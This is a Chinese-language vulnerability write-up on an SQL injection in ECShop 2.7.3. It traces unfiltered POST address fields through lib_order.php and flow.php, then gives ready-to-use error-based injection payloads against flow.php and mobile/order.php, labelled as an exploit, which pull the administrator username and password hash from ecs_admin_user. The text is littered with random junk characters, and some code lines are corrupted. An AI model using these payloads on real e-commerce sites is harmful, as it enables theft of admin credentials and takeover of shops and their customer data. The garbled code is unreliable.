前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
! q2 v# F- m+ S. X6 \) b0 m
* H- j: ]; a- R 漏洞关键文件:
! U% y( X" f, }" O. G4 z& b8 c
; g* H7 s; z- o3 S; _4 @ /includes/lib_order.php
. V" s+ g: I2 y! C) M5 z i' t4 k z
' t/ B; E5 f* z ~! ?, l* U 关键函数:
3 [5 p" l, Q# h! L8 e. ~+ `- Q G
B, H$ {; d7 b. X- C& J : H6 f: K; r$ h3 A2 f* {( \
. X: a" u* M- B! x3 X
01 function available_shipping_list($region_id_list)
3 L# J( V: n2 \. G5 K$ R$ L8 |
: M! c0 m: i" O# o5 n; `8 m* R3 Z02 { ; T9 C0 L" A7 E( k4 F
! P! H1 C7 f, U
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
8 ], A2 s1 A6 Q( H. g, @1 {+ \, q1 s, U; \6 s
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; S1 N3 f; h" ?
) E9 e6 H' R7 w9 K: E! K" S0 d% m05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
; p3 k& n( X" @2 @* O8 |; H' [
% M; W; s$ r o. _2 O! f. \06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 1 Y( j v( _7 e" c' c$ p
/ L( s: g9 c+ e7 V4 D9 M
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( [; B' P& z( ~8 H* @, P, a- ]* }, G
5 u' p( |+ d* v/ O
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
. B# w' l8 [$ F" Y' G7 k' P, P4 ], E- M7 A$ ]6 N
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , ]5 L! a* q8 I: N8 M* X, p+ m
/ }1 v' P& u, u7 e7 b) D2 x
10 * Q) g) m; m; N3 K% Y8 m& X
/ L% J. o8 o* Q( t/ L- W( P11 return $GLOBALS['db']->getAll($sql);
6 {6 a) D1 ?( {2 Z- G+ Z" [3 G2 F( |
12 } 8 H- I" E( `3 J1 J) o
% o* Y* S, G' S, Q
显然对传入的参数没有任何过滤就带入了查询语句。
& b9 k" z. W% x- b1 h4 p 4 ]: J5 Q7 U" ?1 b1 q
下面我们追踪这个函数在flow.php中:
$ \: X% t' ?4 q! C, V2 a3 h; }1 o 第531行:
% i2 S1 m9 U' N2 @$ B1 g+ f/ ^+ J6 r: M2 d% A+ N6 U, M3 `
1 $shipping_list = available_shipping_list($region);
( j# A: t* B$ F }: @1 ?, m7 C( S V3 P6 i
, {: F' _6 Y; [% n4 [- e; z7 S. W$ ?6 ?; n7 D7 ]
/ v# P' ~2 N, s& Q! c
+ [8 }9 \: M2 c7 o4 |
再对传入变量进行追踪:
( L, q g; |( g) |4 \; i6 w3 v; D' h7 P5 x, C. E
第530行:
7 {; W6 w4 m4 o% `6 h( w5 q4 ?( q4 B- a( e* @" w; ^
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 6 I8 [5 X/ B+ l
# ?( o' K9 G3 X# S& N
$ k; m. ^/ r8 t) h5 E% I. B7 Y8 B1 w, P1 H
8 w i, J# U6 ^
3 W+ V+ u' k$ B4 f* ]5 Y第473行: : n8 J) W/ V+ {1 L! [$ c! _/ q1 ^, U
; x% D$ [8 w4 t8 n3 T' u/ i
1 $consignee = get_consignee($_SESSION['user_id']);
" d* g/ V% N5 _' R1 f7 g
8 V* B( B1 y) t6 v& V& Z$ y到了一个关键函数:* ^- z- @ ~, \7 R* T; ]
6 N. N4 j: z& K9 |
/includes/lib_order.php
3 t+ G9 v# S. h2 v# J& a! _1 ~3 \
. M- s8 j! W& j; r& _# O7 ^ " [# N' U8 N) T. t% X6 G0 Y
. w( |7 s* q+ i, F! [, n! x
" Z' c5 i, W0 H$ X
n% Y9 \5 K) h, z
01 function get_consignee($user_id)
! f W- }0 g* Y# U# Z _, g( G4 S/ U" [
02 {
k6 N% D% b# U- f( [5 c
4 z; y1 r8 z: B( W/ {6 p* g03 if (isset($_SESSION['flow_consignee']))
6 d: O) ~8 e9 B, r, y2 n# G) B$ m' r% v! K
04 {
3 V; S. Q# M% L7 c$ \
/ D* K* f4 |6 E05 /* 如果存在session,则直接返回session中的收货人信息 */ 2 f4 Y+ i) F3 V" v9 L
, x9 w% a2 v1 f U% J2 }
06
& L3 }/ X6 g6 e
! P3 S6 G) ?8 n( X07 return $_SESSION['flow_consignee']; r1 n! C; |4 f4 y
6 w, W$ f& f: k08 }
6 T( B. b: s/ B" _1 c. ~5 P$ N% t: q' u# o- s+ P X' @
09 else
* V% D3 J- f2 D7 U0 Q+ |
( R! U8 X+ l' v0 B0 H' W10 {
* v) @4 m" a, I) g
5 l6 _, \6 Q5 z3 v& F4 y$ U11 /* 如果不存在,则取得用户的默认收货人信息 */ / K/ l4 b7 b- W- ^9 K' O
/ l6 q( f8 D6 Q3 L3 e( { h. I
12 $arr = array();
+ e7 |) |0 S: E% j7 R( D0 [3 u2 v" \5 Z
13 ! B3 ^0 f" C G# k2 t. [; Q, N
) X$ e( s0 B h. G# h14 if ($user_id > 0)
3 }9 o. M! z5 d: M
6 C7 A3 ~8 h c! ~7 w( z15 {
( _5 _2 p/ _8 F, R1 g- @9 A0 B* Q D3 r% ~' C- M# ^" U8 ^
16 /* 取默认地址 */ , \* B2 R h/ ~
1 i2 X& t2 U' _' z, w17 $sql = "SELECT ua.*". - g4 Q, L3 q+ M, a6 n. Y5 w8 Z
6 s) \- t# f/ C0 T) p# Q
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 8 l* J5 I" h+ Z3 Q/ m% l
, ]7 C; b2 @; ]6 J: g
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" A0 w' I4 ], x/ X4 p. v) H9 k3 e3 E2 J1 H2 q; O4 H0 F
20 ) P8 J2 n4 ?/ @+ y8 F
; A% H) z3 ?3 m21 $arr = $GLOBALS['db']->getRow($sql);
, v5 O) ^! j8 E4 U. M" u" ?
# h F0 K! R8 l22 } 1 @ N( J7 c. @# }, `( }1 U
- N3 v. P. g$ p- @9 F
23 8 {! U& T* P1 v& P+ B6 q4 e
* |' k9 Y2 \3 e
24 return $arr;
. J5 p* [! d0 H3 O8 k, c. p) v" W% s# j* @0 ?
25 } : h. A" e1 p# |* i! X- w
0 Z' q) \ w, i9 z- t. G6 S8 ^
26 } . ^1 V8 c+ l/ W+ E9 _& H6 g
" V9 G1 q% U& w+ a: R3 F
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?, J& d0 R6 p+ B5 T7 V6 j4 a
2 u h; Z& |( e% N
! R2 S; C- V7 f8 A m! ?
: o( c* W( G5 w+ |. q. I关键点:
$ p5 K6 G+ c! W8 L5 U }: j* J7 I7 t% ~$ Z
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
" x C3 ?$ l9 _- H- a8 ~5 |: H7 j
, Z& ]+ o/ c$ b5 q% s. x% ^这里对传入参数反转义存入$_SESSION中。2 g4 G8 ^" C* w+ |( P ]- i
/ `& h" P- T( U: w x. ?
V& U% T5 h1 _4 [) @' q, }
" p9 |% I# c9 h2 ~& ], c# u1 H然后看下:: a7 P% M! M$ K
: C$ _/ t! I- k7 V: |( m, v& i
^/ d$ b: @/ `$ P5 q% A9 u
* P5 X; o- d5 }4 n7 V : [; W7 X% c! Z: H8 S7 `
- a7 f2 G8 }6 W7 Q01 $consignee = array(
3 A% {6 M7 h* C( v
4 u2 r/ M/ ]. ?6 E. s: I0 M% @' k02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
& ?0 W' p3 I/ v0 c
$ M7 g3 ^3 b% @) L2 k3 D( x03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ) \& L) g2 \* X9 h9 M
2 l& X7 L( S5 o: `% e( J* p* z
04 'country' => empty($_POST['country']) ? '' _POST['country'], 1 Y8 T, Q$ e/ l; V0 n' M
9 G5 @/ A1 c' [' p4 X3 G05 'province' => empty($_POST['province']) ? '' _POST['province'],
/ {$ C% m* e- [/ |7 s+ ~& `- j4 w9 V3 }% g, ?9 S; d) M
06 'city' => empty($_POST['city']) ? '' _POST['city'], 5 {* i: r3 S* E3 y5 ?) K: y/ Y
% k2 z- j" u7 y3 |! n07 'district' => empty($_POST['district']) ? '' _POST['district'], $ }) W7 N$ W, Y* }: Q4 G
( A5 z5 q% Y9 m, N3 ^08 'email' => empty($_POST['email']) ? '' _POST['email'], 4 W2 x% x. K% D0 B. @1 l0 j
% J9 u; ~ p$ [5 U; q09 'address' => empty($_POST['address']) ? '' _POST['address'],
; Z7 p+ W& {, ^9 i% Z2 o: D0 [' x2 a: g e: b/ K
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
+ Y# }- Q( A5 X
" S- g# W, q% k% h2 Y6 F. z1 D: q11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), % Y! y0 j; T( F6 d
# g i( _/ K# i8 e* @
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 6 ?2 U' q2 Y; g* q! e8 F* k. i# Q
9 p' u o8 y( H% m7 Y" q
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
" W& E0 F4 V4 ]' W* w7 D4 F1 ~3 }: K9 U7 B8 _0 @- a: @0 m p
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], $ g/ ?2 A3 o" k6 H, k2 @
6 _% D$ K* N- E% S2 `( {
15 ); / o* d. ]6 I Y8 m* A$ ]
2 z% {7 \8 n, {
好了注入就这样出现了。' M5 Q- Q1 q2 D* X
" @) B1 @2 o( z: Y4 g: ] W+ x' Z==================
7 V; k3 S. U- u) Y% V
{9 b: y" M8 |, D2 U0 C: t/ X. F' N- W注入测试:
: I* y: |0 Z$ w( J! Q) c$ M i9 `+ h4 z. ?% F! v
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)# f2 P9 @2 m: Y) i/ C0 y# I6 I
0 d' X) ~. N F' [ i, F测试程序:ECShop_V2.7.3_UTF8_release1106
$ ]+ f/ U9 |2 H6 K% u: T! K0 v2 v* y+ @& T: n$ j* I9 I: R/ }7 A
x$ V' X8 S/ O: q& f3 E5 @* ], h
1.首先需要点击一个商品加入购物车
# {/ v& S" p9 x3 T0 X- q& l) N- L* j/ c' L
2.注册一个会员帐号
: y) c( E! M* ~# y) v6 O: u( o# b4 k( Y9 k- I/ R* q& Q
3.post提交数据
- X7 I, h( b9 }; c) q1 G+ E% S+ S7 X: E
% ~- {* \7 H c8 T8 w0 w m
+ v5 E& s. N. u2 z9 I
1 http://127.0.0.1/ecshop/flow.php
7 ^) p7 H9 P5 h9 d3 f. i, d V- h
( E* r) ~7 J- F M9 a2
; r& s1 b4 w! t/ r3 R# |$ H
. z9 y8 m* e5 F" {, W- t3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
9 d" B# M+ I) [# {2 J. ?) B举一反三,我们根据这个漏洞我们可以继续深入挖掘:
/ l1 m: Y( O$ s! Y1 y; G9 W" o
1 U5 }# }0 R+ o8 l5 o我们搜寻关键函数function available_shipping_list()
0 G D0 ^& c* D8 Z. c% F8 n% q3 @; S$ c
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
! r9 ^; S4 q" Y$ J# V( h" [8 S7 v/ \3 Z5 o. |
利用exp:
# _, s) O4 {- w! V: J6 a! { h% _
$ ^. V m) K4 b. u* B: }9 C5 s1.点击一个商品,点击购买商标* }; z. O# a6 P3 a! ~
! ^# t( O6 X7 A, _! ^8 O2.登录会员帐号
- {- J, a# N+ ~" J; K+ a) G' w8 P% q! o% c% q
3.post提交:* u3 R6 n4 ]$ R" B" ]
2 ^* m R2 C, p+ Q) A: hhttp://127.0.0.1/ecshop/mobile/order.php# c4 K5 {# _. R& B# a: u" G
6 ?. Q" s7 g6 H" S- @
$ Z# v7 G1 `' S* f6 o) d3 x8 f& Z
2 S6 ?" w* U6 ?$ @country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
" o% Y7 ]$ v0 v2 R$ Z* P$ v, m* z) F, i4 _0 C
|